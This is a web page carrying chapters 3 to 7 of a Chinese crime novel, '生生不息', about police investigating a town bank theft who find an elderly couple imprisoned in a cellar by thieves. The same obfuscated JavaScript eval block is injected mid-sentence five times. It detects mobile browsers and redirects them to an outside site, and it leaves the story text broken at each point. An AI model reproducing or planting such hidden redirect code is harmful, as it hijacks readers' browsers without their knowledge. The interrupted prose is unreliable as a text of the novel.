《生生不息》 3. 银行被偷案(三) 第三章 初一的学生消息最灵通,班上同学原本还会把小梅那点事当做谈资,现在有了“银行被偷”“城里的警察来了”这些事情。 小梅那点新闻就变成了过去式了。 班上同学对这几个警察比对小梅还熟悉了。 小梅也是个敏锐的孩子,她立马就捕捉到了这个风向,心里头说不出来的开心,整个人都快快活活的,她下课就会穿梭在同学们之间,打听警察们的消息。 “一共有三个警察,我们还去和她们说过话了,就是那个高个子叔叔有点凶,不爱说话。” “那是叔叔吗?怎么是长头发?”小梅有些奇怪。 小梅看了过去,自然就看到了人群中,那个长头发的警察。真的好高,比学校体育老师还高。 同桌立马起劲了:“小声点,我妈说了这都是城里的时尚,不能笑话人家。” “她们到学校也是问情况吗?” “不是啊,她们住学校寝室,就是我们女生寝室这边,她们住一楼,我猜她们应该是两口子,因为她们俩住在同一个寝室。” 小梅瞅了瞅,她左看右看,怎么看怎么觉得那个高个子警察是个大姐姐啊? 不过她也没有想太多,反正她们住在女生宿舍楼,这样一来,天天都可以见到她们了。 同林镇没有派出所,政府那边也没地方可以住,这一次银行被偷了,银行这边去了城里,要去调人过来抓小偷。 城里便找了几个警察下这边来,可问题是这边没有警察住所,于是接待她们的人一拍脑袋,就把人塞给了同林镇初中。 这边宿舍有空房间,能住人。反正也就几天而已,查了这个案子,她们就回城了,先凑合凑合吧。 学生宿舍还没收拾,里面八张床,平时要睡十六十七个小孩。 现在云松和自己的两个同事便是住在这里。 三个人正在开会,汇报今天的工作情况。 “东大街所有的住户我都询问过了,银行被偷的那天晚上,只有一个老太太晚上起床的时候有听到外面有人在走动,可是她说,那是她儿子,她儿子去偷银行了。”说话的人叫佟锦,她刚毕业不久,人活泼开朗,云松便让她负责走访周边居民。 云松和另外一个同事齐刷刷地看了过来。 破案了? 佟锦说起这件事都觉得很无奈:“我原本还很高兴,以为咱们破案可以靠一下亲人举报。结果她儿子那天在和人打牌,打了整整一晚上,压根没出去过。我再三核实过,的确不可能是老太太的儿子。老太太就是气这个儿子不争气,想让国家把人关起来,帮忙教训一下。” 好吧,这个线索没了。 “银行职工也都询问了,那天晚上也没有谁有异常。”说这话的姑娘叫唐朝,长得非常高。 “难怪以前这边发生了盗窃案过来就登个记,也破不了案。” 云松说道:“我这边有点线索,城北的砖厂有两个工人不见了,听其他工人说,他们可能是去城里了。” 唐朝有些奇怪:“人算失踪了吧?他们没报警?” 云松道:“这里好像没有失踪这个概念。都没有当一回事。我明天继续查这两个人。” “那我们呢?” “我和银行这边协商成功,他们愿意拿出500块钱作为悬赏。你们把五百元悬赏线索的事情宣传出去。” 五百块钱可不是小数目,尤其是对于同林镇的人来说,五百块钱都能买一头猪了。 同林镇消息传得飞快,本来大家都在关注银行被偷的案子,不少人都已经被警察询问过了,现在就盯着她们这边的动静呢。 现在听说有悬赏,大家伙都恨不得那天晚上谁也没睡觉,都守在银行门口看看到底是谁偷了钱。 大家都在使劲儿回忆那天晚上的事情,看看有没有什么线索,可大家白天都够累了,谁晚上没事到处跑? 五百块钱啊,整整五百块钱,怎么就弄不着呢。 唐朝和佟锦就坐在学校这边,等人过来提供线索,很快就有人过来了。 一个头发发白的老太太,乐呵呵地走了过来:“警察同志,我来提供线索!我知道是谁干的!” 唐朝正高兴呢,果然,重赏之下必有勇夫。 “老人家,过来坐,慢慢说。” 旁边佟锦对着她挤眉弄眼,“你眼睛不舒服,过去休息一下,我来听老人家说。” 老人家便说道:“是我儿子干的。” “那天晚上,他出去打牌,说是打牌,实际上就是出去偷钱了。” 唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606510|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝听着这熟悉的句子,转过头,看向了旁边的同事,对方点了点头。 佟锦说道:“老人家我核对过,你儿子那天晚上真的没有时间。” 第一次遇到这么致力于把儿子送去吃公家饭的老人。 老人家板着脸,左看看右看看,确定周围没有人,这才说道:“你们城里过来的,肯定也想结案,我儿子不经打,十几板子他肯定会招认。”一看这个话,就知道老人家应该没少听戏。 老人家是真的吃大苦了,她儿子自从去年染上了赌博,全家一起吃青菜土豆,这样下去,日子要过不下去了。 唐朝说道:“我们现在不能严刑逼供。” “这个不是重点,重点是你儿子没有偷银行的钱。”佟锦还没有被带偏。 老人家只能叹一口气,往回走。 她走了以后,又有人过来提供线索。 唐朝和佟锦都记了下来。 另一头,老人家很快就到家了,儿媳妇儿正在踩煤,孙子孙女正一块一块地把煤塑形。这样干一天也挣不到几块钱。 其实她儿子之前在厂里干活,也算是勤快,每个月能拿四百多块钱,那个时候一家人都能过得不错,偶尔还有肉吃。 现在,老人家叹了一口气,她进屋做饭,晚上又是吃洋芋。 此时,同林镇正是做晚饭时间,老太太在蒸洋芋,邻居家传来的便是砍骨头的声音。 老太太把洋芋端出来的时候,孩子们已经被炖肉的香味吸引进来了。 “奶奶,今天吃肉吗?” 结果一进来就看到了洋芋。 “隔壁又在炖肉。昨天不是已经炖过了吗?他们怎么突然这么有钱了?”儿媳妇也进来了。 老太太愣了一下,说道:“是有些不对劲,他们之前不是还欠人钱没还吗?前段时间债主还找上了门。” 现在都能连续两天吃肉了? 这段时间大家所有的注意力都在银行被偷的事情上,于是此时此刻,一家四口是统一的反应。 四双眼睛一起看向了隔壁。 紧接着,就看到家里老太太拔腿就跑。 于是,当云松走访一天回来,她看到的就是端着碗过来的一家四口和已经无可奈何的两个同事。 “我们来提供线索!” 4. 银行被偷案(四) 第四章 同林镇的十月非常热,云松去了那两个工人的老家,一个是二十几公里外的三里村,一个在隔壁雨兰镇,一天下来,累得嗓子都在冒烟,两个工人都没有回老家。 她回来的路上便是一直在思考这两个人如何真是偷了银行钱的人,现在应该去哪儿? 依旧没什么线索,主要是同林镇的人白天都忙着干活,晚上基本上都在睡觉,睡得非常沉。 她只能期望悬赏有结果。 结果她一回来,就被一家四口围住了,云松同样之前只听说了这个老太太的行为,并没有见过她。 现在看到来提供线索的这一家人,她也没有意识到这是佟锦提到过的老太太。 “到里面宿舍来坐。”外面太热了。 佟锦和唐朝想要递眼色给云松,两个人转念一想,也不用,反正她们三个人,人人都要上一当。 于是云松给她们倒了水,询问她们了解到的事情。 “我们隔壁的人很有可能去偷了银行。”老太太最先开口。 “你们是怎么发现的?” “他们连着两天都在吃肉。”老太太的儿媳妇刨了两下洋芋,说道。 家里小孩赶紧拉了拉自己的妈:“妈,你别说实话。你这样说警察肯定以为我们嫉妒他们家吃肉。” 老太太赶紧摆手:“警察肯定懂我们的意思,我们也不是嫉妒,他们家原本比我们还穷,她家上面有生病的老妈子,一天要煮一副药,下面有三个娃儿要喂,读书交学费的时候要从街头借钱到街尾,他们家的锅儿是一点油都没有,前段时间还有债主上门催债……” 老太太说着说着,脑海里就想起了这家人有多惨的事情了,她理智一下子就回归了。 老太太心说,失算了,失算了,今天失算了,这一家人都去偷了银行了,现在都能天天吃上肉了。 自己跑过来跟警察说这件事,最多就拿到500块钱,还把邻居给得罪了。 要是自己让儿子直接去跟邻居一家说,知道了他们偷钱的事情,让他们分点给自己,那肯定更多。 老太太在这一刻无师自通了敲诈勒索。 有了这个想法,老太太说道:“官大人,我们刚才是嫉妒邻居吃肉,胡乱说的,唉,瞧我们这病,家里穷怕了,见别人吃口肉就想不开,你们别放在心上。” 老太太的儿媳妇觉得不对劲,可一想,她婆子妈这样说肯定有道理,于是立马点头。 “我们就是看不惯她们吃肉。” 云松倒也没有生气,她大概能猜到对方的想法,便说道:“没事,你们回去吧。” 一家人一走,佟锦就说道:“我怎么感觉这家人这一次说的是真的。” 云松也点头,道:“咱们现在过去问问。” “不吃饭?”唐朝刚做好了饭,她们本来是准备在学生食堂吃饭,可云松今天去查那两个失踪的工人,自然就回来晚了,错过了学校食堂。 唐朝找学校老师借了一个小锅,给云松把饭菜热着了。 “现在过去,一会儿再晚一点他们得睡觉了。”同林镇的人多工人,每天白天劳累一天,晚上自然会早睡。 唐朝嗯了一句,往外走了两步,又回来,拿了块帕子,把饭菜从锅里面拿了出来。 “边走边吃。” 佟锦也点头,她们来这里这几天,经常在饭点上看到大人们小孩子们端着个碗到处跑。 入乡随俗。 云松也觉得是这个道理,她也端着碗,边走边吃。 老太太的邻居姓廖,一家七口人,挤在小两居室里。 这个天闷热,门口是一个老人家在做鞋底,旁边是三个孩子在写作业。 “老人家,在做鞋子啊?”佟锦上前,她刚毕业不久,很是亲和。 云松则在旁边观察这家人,她过去有很长一段时间跟着老中医给人看病,自然一眼就能看出老人和三个孩子长期处于营养不良。 老人家啊啊了两声,旁边的小孩小心翼翼地说道:“我奶奶听不到,也不会说话。” 小孩子说话的时候也没有抬头,似乎在恐惧什么。 佟锦便问道:“你们爸爸妈妈呢?” 三个小孩都低着头,谁也不敢说话。 这家人似乎真有点不对劲。佟锦有感觉,她可能能问出来。 云松拉了拉她,对三个孩子说道:“那你们在家好好写作业。阿姨们没什么事情。” 佟锦:“?” 云松带着两个人下去了。 “如果真是这家人,等他们回来了,我们再问也来得及。” 于是三个人就在楼下等着,等他们回来。 此时此刻,云松几人正在等的两口子在山里走得飞快。 她们本来是住在镇上,这段时间,天还没怎么黑,她们吃了饭就得往山里跑。 “这样下去,你直接把我杀了,埋在山里算了。”男人忍不住抱怨道。 女人说道:“你可别想这种好事!这个麻烦是你惹出来的,都受着,都受着吧,再说了,今天那肉你不是也没少吃吗?” 两口子一路吵吵,最后跑到了一个农户前。 女人走到一张桌子前,把怀里带的东西放在桌子上,然后移开桌子,露出了下面的门。 地窖门。 女人把东西放了下去,下面一点声音都没有。 趁着月光,两口子先是去喂猪,再喂鸡鸭,最后,月光下,两口子扛着锄头,开始挖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606511|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地。 挖着挖着,女人想起了镇上人都在说的银行被偷的事情提供线索的人能给500块钱。 五百块钱。 她当然知道线索。她想要这五百块钱!可是不能。 她想着想着,越想越觉得生气。 白天在家里两眼一睁就得扎鞋底,眼睛都要瞎了,晚上还要来山里喂猪喂鸡,挖地干活。 明明有500块钱可以拿到,却不能去拿。 女人往地上一躺,她脑子里全都是,一会儿把这儿挖完了,要赶紧跑回去,累得不得了,然后也就只能睡三四个小时,紧接着又得爬起来干活。 她的命这么苦?她上辈子是杀人放火了吗? “这日子,我真的一天都过不下去了!” 于是,当两口子累得走路都没有力气,勉强把自己身体拖回镇上,结果就在家门口遇到警察。 其中一个警察板着脸,说:“事情我们都已经知道了,你们是想自己承认,还是我们来说?” 两口子完全没觉得警察在诈自己,反而有种解脱了的感觉。 女人在山里发泄了情绪,此刻还算是冷静,而男人强忍着的情绪还是崩了。 “我们认罪,我们认罪。” “我们把罪认了,还能提供银行被偷的线索,那个钱可以给我们吗?” 云松道:“你们先交代你们做的事情。” “我们原本就只是想偷点钱,本来就想偷个十几块钱,谁曾想那对公婆提前回来了。” 云松听着,觉得不太对劲,他们要交代的事情和自己要查的事情不是同一个事。 “然后你们做了什么?” “我们也没办法啊,他们要是嚷嚷出去了,我们这一家人怎么在镇上生活?你们才来这里,不知道我们这里的人,个个嘴巴都毒,心肠也坏!” “你们把人杀了?”唐朝问道。 “那还是没那个胆子,我们把人关在了地窖里面。” “关了多久了?人还活着吗?” “关了四十几天了,两个人都还活着。” “没有人发现吗?” “他们是单家独户,偶尔有人也是路过,我们也怕被人发现……” “所以,我们每天都要去给她们送饭菜,还要把包谷收回来,谷子割回来,还要喂猪喂鸡……” 现在正是农忙的时候,光是包谷和谷子就让两口子累疯了。 但她们这样做也有好处,四十六天过去了,没有任何人发现这对老夫妻失踪了。 就算是亲戚路过,看到家畜没事,田地都有人打理,哪怕门一直关着,也只会以为是去山里面干活了。 两口子一方面觉得自己聪明,另一方面也的确是累疯了。 5.银行被偷案(五) 第五章 人怎么能把日子过成这样? 地窖里,老太太冷得不行,她们住在山里,本来一早一晚就冷,再加上地窖,这里面是又黑又冷。 她推了推旁边的老爷子。 “老头子,你冷不冷?我怎么感觉今天比昨天冷。” 她年纪大了,这几年一冷就腰酸背痛腿抽筋。 “是有些冷。” 旁边的老爷子也没有睡着,那两个偷儿背东西的动静很大,他们去山里,把包谷杆杆挖掉,背了回来。 每次背回来的时候,需要穿过堂屋,老两口便能够听到他们吵架的声音。 老两口自然睡不着。 老爷子刨了刨枯草,放在老太太身上,说道:“再等等,等天亮了就没有那么冷了。” 枯草盖在身上也没什么用,这样继续躺着肯定是越来越冷,于是老太太便坐了起来。 地窖是全黑的,老两口睡的地方是那两个偷儿扔下来的枯草,角落里堆着番薯,还有一些黄瓜。 那是两个偷儿放下来的。让她们白天吃。 虽说没有一点光,老两口坐起来后,还是熟门熟路地摸到了黄瓜的地方。 她摸了一个出来,在枯草上擦了擦,便一口咬下去。 太安静了,黑暗中只剩下老人啃黄瓜的声音。 其实她们家已经很多年都不种黄瓜了,今年去镇上买种子的时候,里面混了一些。 老两口本来不想种,可能是人老了,还是种了下去。 黑暗中,老爷子也叹了一口气,摸了过来,拿了一根黄瓜,吃了起来。 两口子三十几年前不是住在这个地方,这前后都没有人,单家独户,三十几年前还有土匪传闻,一般人都不会选择这种地方住。 那个时候她们和村子里其他人住在一起,他们的房子和三哥家的房子连在一起,后面便是大哥的房子,几家人一起养一头牛,轮流喂。 那个时候他们还有两个娃儿,大娃十岁,二娃七岁。 便是在那一年,三哥偷偷带着自己家的大娃,还有她们家的两个娃儿,去河坝上砸鱼。 老太太时到今日依旧记得那个上午,她本来在黄瓜地里给黄瓜插竹竿,她男人在挑水浇水。 两口子正在说着午饭吃什么。 远远地,有人就在喊她们。 “出事了!你们快去看看!河坝里涨水!” 两口子都没有反应过来,河坝里涨水了关她们什么事情?她们压根不知道孩子们去河坝了。 对方跳起来,说道:“你们家两个娃儿都在河坝……” 她们一路跑一路跑,下去的时候,看到的就是三哥站在那里,旁边只有三哥的大儿子。 “会不会弄错了?”她两个娃儿都不笨,都涨水了,肯定要跑啊。 三哥看到她们两口子,一下子跪了下来。 “弟弟,弟妹,我对不起你们啊!我对不起你们啊!我该死!” 她们这才知道,河坝是突然涨水了,三个孩子都在水里,三哥只来得及拉住离得最近的孩子。 她们家两个啊,都没了。 两口子终于接收到了信息,腿发软,可身体还是要往河里跑。 岸上全都是人,死死按住了两口子。 “你们别急,也许没事,可能被冲到下面去了,咱们沿着河找一找。” “对啊,别做傻事,别到时候孩子找到了你们俩不见了。” 她们沿着河走了七天,最后什么都没有找到。 她们回去以后,三哥三嫂便来找了两口子。 “这是我们对不起你们,这个孩子,这个孩子以后就给你们了。他就是你们的儿子,给你们养老……” 两口子把人打了出去。 凭什么呢?她们的孩子没了,现在塞过来一个孩子就能算了吗? 他们从此看不惯三哥三嫂一家,尤其是三哥三嫂天天让她们的孩子过来帮忙。 两口子一天骂一次,她们骂的时候还是要看着三哥家的孩子一天一天地长大。 村子里还有两个和她们孩子一样的娃,她们一点一点地长高,每天在田坎上,在山坡上疯跑…… 她们每天看着,越看越觉得恨。 恨老天爷不公!她们做错什么?凭什么别人的孩子就能长大?她们的孩子不能? 尤其是还有一家人,全家都不是什么好东西,可孩子长得又壮又聪明! 失去孩子的痛苦最后化成了恨意。这种刻骨的恨意很快吞噬了这对夫妻。 于是,在一个几乎看不到月亮的夜晚。 两口子搬家了。 她们搬到了一个前后左右都没有人的地方,单家独户地住着,不跟人说话,不走亲访友。 她们心里头只有恨,恨一切,平常有人路过,想要借口水喝,两口子把门一关,不给。 两口子就这样过了三十几年,心里头的恨意越发重了。 现在老两口在地窖的黑暗中继续品尝着这冰冷的恨意。 很快,外面传来了公鸡鸣叫,一声又一声。 天亮了。 “走吧。天亮了。”老太太说道。 老两口相互搀扶着,站了起来,摸索着,很快,她们摸到了梯子。 梯子搭载了出口位置。 老太太熟门熟路地爬了上去,顶开了地窖上面的门。 两口子不一会儿就回到了堂屋。 是的,她们一直都能出来。 廖家两口子不是农村人,她们是镇上人,镇上没有地窖这个条件,不知道他们村里的地窖下面是一定会多放一个梯子,防止下来的梯子坏了。 所以,从第一天开始,这老两口子就能出来。 可她们就是要折磨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610708|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这两个偷儿。 因为这两个偷儿来偷东西那天,两口子听到了她们说的话。 “我有点怕。要不然算了?” “怕什么,我打听过了,这两口子性格古怪,也没有孩子……” 两口子本来不想出来,结果听到这话,立马出来,跟人理论,不曾想,两个偷儿居然打他们,还把他们吆到地窖里关起来,抽掉了地窖的梯子。 那天晚上,老两口从地窖里爬出来,本来是想要去镇上,去讨回公道。 “丢了多少钱?” “三百五十六块钱。” “走!去镇上!要一个公道!”老爷子说道。 老太太沉着脸:“去了有什么用?到时候就是让她们把钱还回来,然后再跪下来说个对不起我们,最后还不是好好过日子!” 老爷子也想到了这里。 老太太更多的气还在这两个偷儿说的那个话上,她忍不住对自己老伴说道:“要是咱们的孩子还活着,现在至少能去把他们打一顿。” 老两口一下子就想起了这两个偷儿说的那个话,就是欺负他们死了孩子嘛! 到时候去了镇上,去讨回公道,可能还有人要说,真可怜啊,一大把年纪,被这样欺负也没有人帮忙。 这些念头一出现,老两口就被铺天盖地的痛苦和愤怒掩盖。 老两口便没有去镇上,而这个时候,那两个偷儿又回来了。 老两口对视了一眼,便一人拿菜刀,一人拿斧头,回到了地窖里。 在堂屋可能不行,老两口毕竟年纪大了。 可是地窖不一样。 两口子在地窖里埋伏着,等这两口子下来,眼神凶狠,仿佛要砍的不是这两个偷儿,而是她们这悲惨的命运! 然而,对方来了以后,在上面喊了两声,老两口不回应。 于是,这两个蠢偷儿就在上面商量谁下来灭口。 “当然是你去,你手脚麻利,下手比较快!” “你还是个男人,心比较狠呢!” 最后谁也不肯下来。 “要不然先关着?” 杀人这种事情,一般都是一鼓作气,被她们拖拖拉拉地糊弄,老两口那口气也散了。 但这两个偷儿肯定要遭报应才行! 于是,老两口就在下面说—— “老头子,她们关不了我们太久。庄稼在地里没人收,其他人一眼就能看出来。” “老婆子,你说得对。猪啊,鸡啊,鸭啊,没有人喂着,别人一看就知道人出事了。” 老两口这些年,心里憋着的苦闷痛苦,可算是找到了一个发泄的渠道。 她们要使劲发泄!使劲!!! 不就是晚上睡地窖,白天也不能出门吗? 没事!她们可以一直在地窖里待到死!她们就是要折磨这两个欺负她们孩子死了的偷儿! 6.银行被偷案(六) 第六章 云松听两口子说每天晚上都要去山里,又提到了能提供银行被偷案的线索,云松大概就猜到,这两口子自己去犯罪,去的时候,或者回来的时候,可能碰到了另一批犯罪的人。 也就是偷银行的人。 里面房间里,三个孩子和老人正在睡觉,于是,客厅里,三个警察一边被蚊子咬,一边听这两口子说自己是怎么从偷一点钱变成了把人囚禁起来,然后天天跟头牛似的,上山下田地干活。 三个警察时不时还要提醒一下,小声点,不要吵醒其他人。 小两口完全沉浸在自己悲惨的叙述中,甚至把手掌拿了出来:“现在这上面都没有血泡了,第一个月的时候全是血泡。” 她们说起这个事情,越说越起劲:“他们有两大秋谷子,我跟我男人每天晚上拿着镰刀就开始割,腰都快断了。” “我觉得我们像地主家的长工……” 云松知道自己如果不把这个方向拉回来,可能要听一晚上她们诉苦,她问道:“你们晚上去山里干活,回来的时候遇到过偷银行的人?” “那可不是!起初我们两也不知道那是去偷银行,我们去山里的时候就看到有两个人往银行方向去了。” “我们回来的时候,那两个人就变成了一个人——”女人还想说什么,男人碰了她一下,她立马就转了一个弯。 “然后,他就朝着三里村那条路走了。” 她们从山里回来的时候,只剩下一个人了,两口子当时也害怕遇到人,所以才发现那边有人以后立马就躲了起来,那天雾很大,有些看不清楚人,但小两口模模糊糊地看到这个人在镇上李家外面的粪坑旁,他似乎往里面扔了东西,最后往三里村的方向走了。 等到他走了,小两口才出来。 本来小两口没有当一回事,第二天就听说银行被偷的事情。 小两口以为是往粪坑里面扔了钱,于是还去那个粪坑刨了刨,太臭了,她们坚持不了太久,又怕被人看到,就只能算了。 她们也想要去提供线索,拿那500块钱的奖励,可是她们自己也是做贼心虚,万一别人问,你们那个点怎么不睡觉? 这回答不了啊? 再说了,万一把那个偷银行的人抓到了,银行的人也看到他们去山上了,怎么办? 于是,她们只能一边干苦力活,一边心疼这些拿不到的钱。 现在,粪坑的事情还是不能说出来,她们闯了这么大祸,她们肯定要被抓去城里坐牢,到时候家里还有孩子和老人。 两口子心里就只打算说一下看到了偷银行的人。 万一粪坑里面有钱,她们可以捞出来,到时候孩子们也能有个生活依靠。 两个人说起这部分的时候,眼神闪躲,明显有所保留,云松便问道:“还有没有什么要交代?” “没有了。”两口子小声说道。 此时正是凌晨三点,小两口又困又累。 云松知道她们困,也知道她们累,可没办法,有两个老人被她们关在空气不太好还伸手不见五指的地窖里,被关了四十几天,她希望快点把人救出来,于是说道:“那先走吧,去山里,把老两口带出来。” 女人小声说道:“能不能明天早上再去?我想睡觉,我们今天累了一天了,现在真的动不了了。” 而这个时候,门口响起了轻轻的敲门声。 “小廖啊,你们还没睡吧,听到你们屋子里有声音。” 隔壁男人的声音,平常这个点他都在别人家里打牌,今天回来了? 廖家两口子不做声,云松等人自然也不说话。 “小廖啊,你们别装作睡着了,我都听到你们家有声音了。”外面的人就贴着门缝说话。 “我听我妈说你们现在也有钱了,大家邻居一场,肯定也不能看着我们家继续穷下去。” 廖家两口子看向云松,云松点头,两口子便打开了门。 隔壁男人正要说廖家肯定偷银行才有肉吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617027|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事情,结果就看到了后面的三个警察。 男人一看,立马转过头,一拍脑袋,说道:“我妈年纪大了,天天说胡话,你们家也没少,我也知道。” 他一边说,一边往自己家走。 女人名叫廖惠,她和老太太多年邻居,还能不清楚邻居想做什么。 可眼下,她也没有力气计较这些了。 她回过头,三个警察依旧要去山里救那被囚禁的可怜老人。 女人心里依旧不明白,怎么就到了这一步,她们最开始就是想要偷点钱,想要度过难关。 小两口现在只能祈求当时偷银行的那两个工人真的把钱扔进了粪坑里。 “走吧。”云松再一次提醒她们,得去山里救老人。 男人本来还是不想去,可女人撞了他一下,她们后面可能还要求云松,求云松给她们一点时间处理家里的事情,到时候她们才能去找银行的钱。 现在无论多累,都不能违抗警察。 两个人立马就不反对现在回山里救老人了。 于是,一行五人就这样上了山。 山里的晚上有些冷,五个人拿着手电筒,慢慢往上爬。 最开始几个人只是觉得累,觉得困,到后面,可能是困劲过头了,整个人甚至有些亢奋了。 天亮时,她们也终于走到了老两口的家。 云松走在前面,老两口的房子是土墙,墙上还挂着好几串留种的辣椒。 这里的确不适合居住,前后都没有人家,单家独户。 几个人累得上气不接下气,走到门口,但三个警察谁都没有准备休息。 里面有被关在伸手不见五指的地窖被关了四十六天的老人。 谁能不着急? 因为知道老两口被关在地窖里,几个人自然不会敲门。 于是,门直接被打开。 堂屋里,正在吃早饭的老两口抬起头,因为听到了开门动静,此时抬起头,看着外面进来的五个人。 7.银行被偷案(七) 第七章 人嘛,总是会预设接下来发生的事情。 就像云松,来之前,她以为这是一个解救被囚禁的可怜老人的简单故事。 她脑海里一直担心的是两个老人在地窖那种地方呆了四十几天了,这两口子又只在晚上给人家送一顿饭,两位老人的身体和心灵肯定遭到了重创。 小两口不懂这些,只觉得自己也做了很多,而且老人也没说什么啊。 云松曾经有过被囚禁的过去,她最清楚这种事情。 她脑海里演练的是如何解救老人,如何安抚老人的情绪,如何给老人检查身体。 反正没有在脑海里演练过她们要救的受害人突然拿着菜刀对着她们该怎么办。 因为,比起她们这几个累死累活才爬到这里的人,对面的两个受害者老人反应比较快,碗和筷子一摔,顺手就在旁边摸了武器。 老太太拿了菜刀,老爷子拿了斧头,两个人一副要拼命的样子。 堂屋还没有被清晨的太阳完全照亮,此刻甚至有点阴森,斧头和菜刀因为陪伴老人多年,此刻都散发着锐利的冷光。 廖家两口子立马躲到了云松身后,小声说道:“你是警察,你不会让她们杀我们吧?” 云松看了看这两口子,又看了看对面的受害者老人,尽管她这辈子见识了很多事情,但此时此刻真的是第一次。 于是,她开口道:“你们误会了,我们是警察。我们是来——”救你们的——这四个字就不好意思说出口了。 “我们很高兴你们有自保的能力,刚才来的时候我就一直在想你们被关在那里面,关了四十几天肯定非常痛苦——” 两个老人愣了一下,就……就同林镇这里的人说话不是这样,谁没事会跟人家说我很担心你们。 毕竟大家一天忙到晚,两眼一睁就是干活,就是在焦虑今年的天势不好,就是在愁那一亩三分地。 谁也不会去注意别人的情绪,更不会有人肉麻兮兮地说我很为你们高兴,很担心你们,就是父母子女这种亲密关系,都很难这样说话。 云松那种轻易地说出自己对她们的情感,反而让两个老人觉得这是骗子。 她们更加用力地挥舞了一下自己手里的刀,仿佛在确认自己有武器在手,不会再被伤害了。 “打胡乱说!看来两个偷儿自己不敢杀人,还找了帮手!”两个老人的眼睛都在云松身上。 云松作为一个警察,此刻当然是默默地举起双手,投降,说道:“我们真的是警察。” “你还要胡说,镇上哪有警察?” “镇上的银行被偷了,我们过来是查银行被偷的案子。我们发现他们不对劲就审问了他们,他们供出了偷你们钱,还把你们关在地窖的事情。”旁边的佟锦默默地补了前情提要。 小两口此时也回过神了,他们的关注点在另一个事情上:“你们能出来,你怎么出来的?” 女人挪到了地窖旁边,自然一眼就看到了下面的竹梯子,这个东西,她们之前没有见过。 她立马就想到了:“你们一直都能够出来?好啊!这段时间你们是一直在骗我们给你们干活吧!” 小两口瞬间觉得自己才是受害者了。 两口子立马就拉着云松要讨公道:“警察同志你也看到了,你也听到了,这两个人可不是什么可怜人!” 两个老人听到这两个偷儿还敢这样说,她们想起了第一天来的时候,这两个偷儿偷她们的钱还要骂她们,最后还要打他们,把她们赶到地窖关起来,于是更加生气了。 两个老人还没有说话。 云松提醒道:“你们两个人偷老人的财物,殴打老人,囚禁老人,这些都是事实。不要只看到自己受苦的那一部分。” 两个老人有情绪是正常的,云松也没有准备和稀泥,她转过头,安抚道:“你们放心,他们两个人的犯罪事实很清晰,法律肯定会给你们一个交代。” 两个老人听着,也不说话,就好像也没有相信。 对于小镇警察业务不太熟悉的云松此时吃了一个哑巴亏。这里不是城里,自然不可能像城里那样容易取得信任。 她默默地在心里记下了,一定要叫上镇上有头有脸的人,为自己的警察身份背书。 云松对唐朝说道:“你现在去找一下这边的村长村民们,让他们过来做个证明。” “如果我们不是警察,我们肯定不敢让其他人来,对吧?”云松转过头,看着老人。 两个老人盯着云松看,这个年轻姑娘依旧只是温和地注视着她们,仿佛完全没有看到他们手里的刀,两个老人没有见过这样的人,她们稍微信了一些,也许这真是警察。 可放下刀不可能,万一这是骗子,那她们两口子就死在这里了,到时候其他人又要说,可怜哟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621274|172063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,年轻的时候孩子死了,她们三哥要把自己的儿子赔给她们,她们不要,现在老了,被人杀了都没有人知道。 于是,她们就这样拿着刀,等人来。 躲在云松身后的两夫妻心里痛啊,这段时间,她们吃了这么多苦,结果两个老人自己也能出来,这不是故意让她们吃苦吗? 